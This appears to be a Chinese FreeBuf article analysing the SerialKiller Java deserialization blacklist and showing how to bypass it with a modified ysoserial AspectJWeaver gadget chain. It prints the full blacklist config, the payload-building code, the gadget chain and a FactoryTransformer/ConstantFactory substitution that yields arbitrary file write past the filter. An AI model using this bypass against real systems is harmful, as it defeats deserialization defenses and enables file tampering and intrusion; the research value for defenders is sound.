freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

AspectJWeaver利用链绕过serialKiller
2023-01-09 17:56:32
所属地 北京

1.serialKiller原理:

通过重写ObjectInputStream 类中的resolveClass方法加入黑名单来限制反序列化的类,黑名单配置为serialkiller.conf

serialkiller.conf内容

<?xml version="1.0" encoding="UTF-8"?>
 <!-- serialkiller.conf -->
 <config>
   <refresh>6000</refresh>
   <mode>
     <!-- set to 'false' for blocking mode -->
     <profiling>false</profiling>
   </mode>
   <blacklist>
     <regexps>
         <!-- ysoserial's BeanShell1 payload  -->
         <regexp>bsh\.XThis$</regexp>
         <regexp>bsh\.Interpreter$</regexp>
         <!-- ysoserial's C3P0 payload  -->
         <regexp>com\.mchange\.v2\.c3p0\.impl\.PoolBackedDataSourceBase$</regexp>
         <!-- ysoserial's CommonsBeanutils1 payload  -->
         <regexp>org\.apache\.commons\.beanutils\.BeanComparator$</regexp>
         <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
         <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
         <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
         <!-- ysoserial's CommonsCollections2,4 payload  -->
         <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
         <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
         <!-- ysoserial's FileUpload1,Wicket1 payload  -->
         <regexp>org\.apache\.commons\.fileupload\.disk\.DiskFileItem$</regexp>
         <regexp>org\.apache\.wicket\.util\.upload\.DiskFileItem$</regexp>
         <!-- ysoserial's Groovy payload  -->
         <regexp>org\.codehaus\.groovy\.runtime\.ConvertedClosure$</regexp>
         <regexp>org\.codehaus\.groovy\.runtime\.MethodClosure$</regexp>
         <!-- ysoserial's Hibernate1,2 payload  -->
         <regexp>org\.hibernate\.engine\.spi\.TypedValue$</regexp>
         <regexp>org\.hibernate\.tuple\.component\.AbstractComponentTuplizer$</regexp>
         <regexp>org\.hibernate\.tuple\.component\.PojoComponentTuplizer$</regexp>
         <regexp>org\.hibernate\.type\.AbstractType$</regexp>
         <regexp>org\.hibernate\.type\.ComponentType$</regexp>
         <regexp>org\.hibernate\.type\.Type$</regexp>
         <regexp>com\.sun\.rowset\.JdbcRowSetImpl$</regexp>
         <!-- ysoserial's JBossInterceptors1, JavassistWeld1 payload -->
         <regexp>org\.jboss\.(weld\.)?interceptor\.builder\.InterceptionModelBuilder$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.builder\.MethodReference$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.proxy\.DefaultInvocationContextFactory$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.proxy\.InterceptorMethodHandler$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.ClassMetadataInterceptorReference$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.DefaultMethodMetadata$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.ReflectiveClassMetadata$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.reader\.SimpleInterceptorMetadata$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.instance\.InterceptorInstantiator$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.metadata\.InterceptorReference$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.metadata\.MethodMetadata$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.model\.InterceptionModel$</regexp>
         <regexp>org\.jboss\.(weld\.)?interceptor\.spi\.model\.InterceptionType$</regexp>
         <!-- ysoserial's JRMPClient payload  -->
         <regexp>java\.rmi\.registry\.Registry$</regexp>
         <regexp>java\.rmi\.server\.ObjID$</regexp>
         <regexp>java\.rmi\.server\.RemoteObjectInvocationHandler$</regexp>
         <!-- ysoserial's JSON1 payload  -->
         <regexp>net\.sf\.json\.JSONObject$</regexp>
         <!-- ysoserial's Jdk7u21 payload -->
         <regexp>javax\.xml\.transform\.Templates$</regexp>
         <!-- ysoserial's Jython1 payload -->
         <regexp>org\.python\.core\.PyObject$</regexp>
         <regexp>org\.python\.core\.PyBytecode$</regexp>
         <regexp>org\.python\.core\.PyFunction$</regexp>
         <!-- ysoserial's MozillaRhino1 payload -->
         <regexp>org\.mozilla\.javascript\..*$</regexp>
         <!-- ysoserial's Myfaces1,2 payload  -->
         <regexp>org\.apache\.myfaces\.context\.servlet\.FacesContextImpl$</regexp>
         <regexp>org\.apache\.myfaces\.context\.servlet\.FacesContextImplBase$</regexp>
         <regexp>org\.apache\.myfaces\.el\.CompositeELResolver$</regexp>
         <regexp>org\.apache\.myfaces\.el\.unified\.FacesELContext$</regexp>
         <regexp>org\.apache\.myfaces\.view\.facelets\.el\.ValueExpressionMethodExpression$</regexp>
         <!-- ysoserial's ROME payload  -->
         <regexp>com\.sun\.syndication\.feed\.impl\.ObjectBean$</regexp>
         <!-- ysoserial's Spring1,2 payload  -->
         <regexp>org\.springframework\.beans\.factory\.ObjectFactory$</regexp>
         <regexp>org\.springframework\.core\.SerializableTypeWrapper\$MethodInvokeTypeProvider$</regexp>
         <regexp>org\.springframework\.aop\.framework\.AdvisedSupport$</regexp>
         <regexp>org\.springframework\.aop\.target\.SingletonTargetSource$</regexp>
         <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
         <regexp>org\.springframework\.core\.SerializableTypeWrapper\$TypeProvider$</regexp>
         <!-- other trigger gadgets or payloads -->
         <regexp>java\.util\.PriorityQueue$</regexp>
         <regexp>java\.lang\.reflect\.Proxy$</regexp>
         <regexp>javax\.management\.MBeanServerInvocationHandler$</regexp>
         <regexp>javax\.management\.openmbean\.CompositeDataInvocationHandler$</regexp>
         <regexp>org\.springframework\.aop\.framework\.JdkDynamicAopProxy$</regexp>
         <regexp>java\.beans\.EventHandler$</regexp>
         <regexp>java\.util\.Comparator$</regexp>
         <regexp>org\.reflections\.Reflections$</regexp>
     </regexps>
   </blacklist>
   <whitelist>
     <regexps>
         <regexp>.*</regexp>
     </regexps>
   </whitelist>
 </config>

这个黑名单中可以看到是针对ysoserial中主要的payload中的关键类进行了限制。

在项目开发中如果要使用readObject方法,使用以下代码配置即可引入黑名单

ObjectInputStream ois = new SerialKiller(is, "serialkiller.conf");
 String msg = (String) ois.readObject();

SerialKiller类继承自ObjectInputStream类,在SerialKiller中重写ObjectInputStream类的resolveClass方法,在resolveClass方法中对反序列化类进行校验,根据ObjectInputStream类中readObject的逻辑,当调用readObject方法时,readObject会调用resolveClass方法,反序列化中的每一个类名都会进入resolveClass方法中与黑名单列表中的进行比对

@Override
     protected Class<?> resolveClass(final ObjectStreamClass serialInput) throws IOException, ClassNotFoundException {
         config.reloadIfNeeded();
 
         // Enforce SerialKiller's blacklist
         for (Pattern blackPattern : config.blacklist()) {
             Matcher blackMatcher = blackPattern.matcher(serialInput.getName());
 
             if (blackMatcher.find()) {
                 if (profiling) {
                     // Reporting mode
                     LOGGER.info(String.format("Blacklist match: '%s'", serialInput.getName()));
                 } else {
                     // Blocking mode
                     LOGGER.error(String.format("Blocked by blacklist '%s'. Match found for '%s'", new Object[] {blackPattern.pattern(), serialInput.getName()}));
                     throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (blacklist)");
                 }
             }
         }
 
         // Enforce SerialKiller's whitelist
         boolean safeClass = false;
 
         for (Pattern whitePattern : config.whitelist()) {
             Matcher whiteMatcher = whitePattern.matcher(serialInput.getName());
 
             if (whiteMatcher.find()) {
                 safeClass = true;
 
                 if (profiling) {
                     // Reporting mode
                     LOGGER.info(String.format("Whitelist match: '%s'", serialInput.getName()));
                 }
 
                 // We have found a whitelist match, no need to continue
                 break;
             }
         }
 
         if (!safeClass && !profiling) {
             // Blocking mode
             LOGGER.error(String.format("Blocked by whitelist. No match found for '%s'", serialInput.getName()));
             throw new InvalidClassException(serialInput.getName(), "Class blocked from deserialization (non-whitelist)");
         }
 
         return super.resolveClass(serialInput);
     }

**然而这个serialKiller最近更新都在5年前了,在21年的时候ysoserial更新了一个新的payload **AspectJWeaver也就是说serialKiller这个项目的默认黑名单配置中并没有专门针对AspectJWeaver这个利用链

那么AspectJWeaver就可以拿来即用绕过serialKiller了吗?

2.原版AspectJWeaver的使用

我们直接拿ysoserial中更新的AspectJWeaver利用链进行测试,把serialKiller项目打成jar包后引入到ysoserial项目中,然后把ysoserial中的Deserializer类的deserialize方法代码修改成如下

wKg0C2N9teuAbLl1AAA8jCsUXM290.png

这就配置上serialKiller了,接着直接运行AspectJWeaver

wKg0C2N9tgeAS3FwAABEY4Hl7cA668.png
发现控制台报错了,原因是AspectJWeaver利用链中用到了org.apache.commons.collections.functors.ConstantTransformer,触发了黑名单中的'org.apache.commons.collections.functors.ConstantTransformer$'这一条。

也就是说虽然serialKiller中没有专门针对AspectJWeaver利用链的黑名单,但却命中了针对commonscollection1、3、5、6黑名单中的一条,看一下AspectJWeaver利用链

public class OldAspectJWeaver implements ObjectPayload<Serializable> {
 
     public Serializable getObject(final String command) throws Exception {
         int sep = command.lastIndexOf(';');
         if ( sep < 0 ) {
             throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
         }
         String[] parts = command.split(";");
         String filename = parts[0];
         byte[] content = Base64.decodeBase64(parts[1]);
 
         Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
         Object simpleCache = ctor.newInstance(".", 12);
         Transformer ct = new ConstantTransformer(content);
         Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
         TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
         HashSet map = new HashSet(1);
         map.add("foo");
         Field f = null;
         try {
             f = HashSet.class.getDeclaredField("map");
         } catch (NoSuchFieldException e) {
             f = HashSet.class.getDeclaredField("backingMap");
         }
 
         Reflections.setAccessible(f);
         HashMap innimpl = (HashMap) f.get(map);
 
         Field f2 = null;
         try {
             f2 = HashMap.class.getDeclaredField("table");
         } catch (NoSuchFieldException e) {
             f2 = HashMap.class.getDeclaredField("elementData");
         }
 
         Reflections.setAccessible(f2);
         Object[] array = (Object[]) f2.get(innimpl);
 
         Object node = array[0];
         if(node == null){
             node = array[1];
         }
 
         Field keyField = null;
         try{
             keyField = node.getClass().getDeclaredField("key");
         }catch(Exception e){
             keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
         }
 
         Reflections.setAccessible(keyField);
         keyField.set(node, entry);
 
         return map;
 
     }
 
     public static void main(String[] args) throws Exception {
         args = new String[]{"ahi.txt;YWhpaGloaQ=="};
         PayloadRunner.run(OldAspectJWeaver.class, args);
     }
 }
 

反序列化时调用如下:

wKg0C2N9tiKAEKC4AACWWCKLmjA615.png

最终是在SimpleCache$StoreableCachingMap的wirteToPath方法中达到向任意文件中写入任意数据的目的

从调用链可以看到,反序列化时的关键调用链中是没有ConstantTransformer类的

Gadget chain:
 HashSet.readObject()
     HashMap.put()
         HashMap.hash()
             TiedMapEntry.hashCode()
                 TiedMapEntry.getValue()
                     LazyMap.get()
                         SimpleCache$StorableCachingMap.put()
                             SimpleCache$StorableCachingMap.writeToPath()
                                 FileOutputStream.write()

但是反序列化中用到了LazyMap,并且第15行中Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);

而这里的ct是14行的返回值:Transformer ct = new ConstantTransformer(content);

14行就是用到org.apache.commons.collections.functors.ConstantTransformer的地方,这里为什么要用到ConstantTransformer呢

进入LazyMap#decorate方法可以看到第二个参数必须是Transformer对象,那么就说明我们的content是无法直接传入decorate方法的,必须将其包装成Transformer对象,否则无法成功构造出序列化流

wKg0C2N9tjiAbTkeAABmMaBaEmQ592.png

而在反序列化的过程中调用到的是LazyMap.get, 查看其代码

wKg0C2N9tkyAGBLYAABbjqhIe34105.png

this.factory就是序列化时候LazyMap.decorate传入的Transformer实例,Object value则来自this.factory.transform的返回值,然后调用this.map.put进入SimpleCache$StorableCachingMap.put方法,可以看到value就是我们最终写入文件的任意数据wKg0C2N9tlAXrgyAABL02Tfsms718.png

那么我们现在对AspectJWeaver链中的要写入的任意数据Content有了两个要求

1.必须将Content包装成Transformer对象

2.调用该Transformer对象的transform方法后返回的值就是Content本身

这里就很眼熟了,我们在学习CommonCollections1利用链的时候就知道,ConstantTransformer中的transform方法的功能就是将初始化时传入的对象返回。

它的关键代码如下:

public ConstantTransformer(Object constantToReturn) {
         this.iConstant = constantToReturn;
     }
 
 public Object transform(Object input) {
     return this.iConstant;
 }

理清了这个逻辑,就会发现ConstantTransformer类在这条链里存在的必要性,那么是否可以尝试用其他实现Transformer接口的类来代替ConstantTransformer从而绕过黑名单呢?

3.修改AspectJweaver

看一下实现Transformer接口的类,不多

wKg0C2N9tn6AQa4YAADa9M7hPos609.png

一个一个看实现代码,发现FactoryTransformer好像有点眉目

private final Factory iFactory;
     public FactoryTransformer(Factory factory) {
         this.iFactory = factory;
     }
 
     public Object transform(Object input) {
         return this.iFactory.create();
     }

它的关键代码和ConstantTransformer非常相似,只是它的transform方法返回的并不直接是this.iFactory, 而是其调用create()后的结果,如果我们找到一个Factory实现类的create方法能和ConstantTransformer#transform有着同样的逻辑就能通过两次包装实现ConstantTransformer的效果,这个Factory接口的实现类也很少

wKg0C2N9tpaAdjyJAACA59bKsI4532.png

其中ConstantFactory一看名字就有得搞,查看其关键代码,果然和ConstantTransformer是同样的逻辑

public ConstantFactory(Object constantToReturn) {
         this.iConstant = constantToReturn;
     }
 
     public Object create() {
         return this.iConstant;
     }

那么现在我们将原来的Transformer ct = new ConstantTransformer(content);改写成

Factory ft =  new ConstantFactory(content);
 Transformer ct =  new FactoryTransformer(ft);

这样在反序列化时调用到 FactoryTransformer的transform方法时,this.iFactory.create()返回的就是ConstantFactory实例的iConstant属性,即最终依然返回content本身。

修改后该payload即可绕过serialKiller写任意文件

# 资讯 # 漏洞 # web安全 # 漏洞分析 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录